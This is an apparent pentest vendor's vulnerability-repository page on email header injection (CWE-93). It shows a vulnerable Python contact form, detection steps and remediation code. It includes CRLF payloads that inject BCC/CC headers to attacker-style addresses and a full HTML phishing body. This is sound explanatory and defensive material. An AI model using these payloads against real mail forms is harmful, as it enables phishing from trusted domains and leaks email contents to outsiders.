SecureBlockLog inStart a pentest
Vulnerability Repository
MediumInjection

Email Header Injection

Unvalidated newline characters in user-supplied email fields allow attackers to inject additional headers, enabling spam relay, phishing, and disclosure of BCC recipients.

CVSS 6.5CWE CWE-93OWASP A03:2021 — Injection

Description

Email header injection occurs when an application constructs SMTP email messages using user-supplied input without stripping or rejecting newline characters (\r\n, \n). SMTP uses newline sequences to delimit headers — injecting a newline into a header value effectively terminates the current header and begins a new one. An attacker can use this to add arbitrary headers to the email, including To:, CC:, BCC:, Subject:, and even a new MIME-Part body section.

CWE-93 — Improper Neutralisation of CRLF Sequences defines this vulnerability class, which applies equally to HTTP response splitting and SMTP header injection. OWASP A03:2021 — Injection groups it with other injection vulnerabilities because the root cause is identical: user input is interpreted as control characters by the downstream system.

Email header injection has been used to turn legitimate application email servers into spam relays, send phishing emails from trusted corporate domains, and disclose the identities of BCC recipients to other recipients. The attack is particularly powerful because it abuses a trusted sending domain — recipients see the email as originating from a legitimate business address, bypassing spam filters and increasing click-through rates on malicious links.

How It Works

Consider a contact form that sends a notification email:

import smtplib

def send_contact_email(sender_email, sender_name, message):
    headers = f"From: {sender_name} <{sender_email}>\r\nTo: support@example.com\r\nSubject: Contact Form\r\n"
    body = f"\r\n{message}"
    smtp.sendmail(sender_email, "support@example.com", headers + body)

An attacker submits the following as sender_name:

Innocent User\r\nBCC: victim1@evil.com,victim2@evil.com\r\nSubject: Your account has been suspended

The resulting email headers become:

From: Innocent User
BCC: victim1@evil.com,victim2@evil.com
Subject: Your account has been suspended
To: support@example.com
Subject: Contact Form

The BCC injection causes the email server to silently send a copy of every contact form submission (which may contain internal information) to the attacker's addresses.

A more aggressive attack injects a complete new MIME body section to deliver a phishing email to arbitrary recipients via the legitimate application's SMTP server:

test@example.com\r\nCC: victim@target.com\r\nMIME-Version: 1.0\r\nContent-Type: text/html\r\n\r\n<html><body><a href='https://phish.example.com'>Click to verify your account</a></body></html>

The application's email server, which has legitimate SPF and DKIM records, sends this phishing email to the victim. Standard email authentication checks pass because the sending infrastructure is legitimate.

Impact

  • Spam relay — the application's mail server becomes a relay for spam, potentially resulting in the domain and mail server IP being blacklisted.
  • Phishing from trusted domain — highly convincing phishing emails sent from no-reply@legitimate-company.com to arbitrary targets with full email authentication.
  • BCC disclosure — injecting BCC headers on transactional emails routes copies to the attacker, disclosing email content and recipient lists.
  • Reputation damage — a domain used for spam or phishing is likely to be blacklisted by major email providers, disrupting legitimate business email.
  • Data exfiltration — injecting BCC or forwarding headers on emails containing internal data (order confirmations, account statements) routes sensitive data to external addresses.

Detection

  1. Inject CRLF sequences into all email-related fields — test %0d%0aCC:test@attacker.com, %0aBCC:test@attacker.com, and \r\nCC:test@attacker.com in name, email, subject, and message fields of all contact and notification forms.
  2. Monitor attacker-controlled email — use a mailbox you control as the injection target and check whether emails arrive after form submission.
  3. Test with URL-encoded and double-encoded newlines — test %250a (double-encoded \n), %0d, %0a%0d, and \n (raw) variants to identify partial sanitisation.
  4. Inspect raw email headers — send a form submission to a legitimate email address you control and review the raw message source (View Source in email client) for injected headers.
  5. Check all application functions that send email — contact forms, registration confirmation, password reset, invoice notifications, and order confirmations all potentially use user input in email headers.

Remediation

Strip or reject CRLF characters from all email header values. Before any user-supplied value is included in an email header, remove \r (CR, \x0d) and \n (LF, \x0a) characters unconditionally:

def sanitise_header(value: str) -> str:
    return value.replace('\r', '').replace('\n', '')

Use an email library's structured API — rather than constructing raw SMTP header strings, use the structured API of an email library that handles encoding and escaping internally:

from email.message import EmailMessage
msg = EmailMessage()
msg['From'] = sender_email    # EmailMessage handles encoding
msg['To'] = 'support@example.com'
msg['Subject'] = subject
msg.set_content(body)

Validate email address format strictly. The To:, From:, and Reply-To: fields should be validated against RFC 5321 address syntax and reject any value containing whitespace, angle brackets not in the standard format, or non-printable characters.

Apply rate limiting to email-sending endpoints. Limit the number of emails that can be triggered per IP address and per session to reduce the impact of any injection that does slip through.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping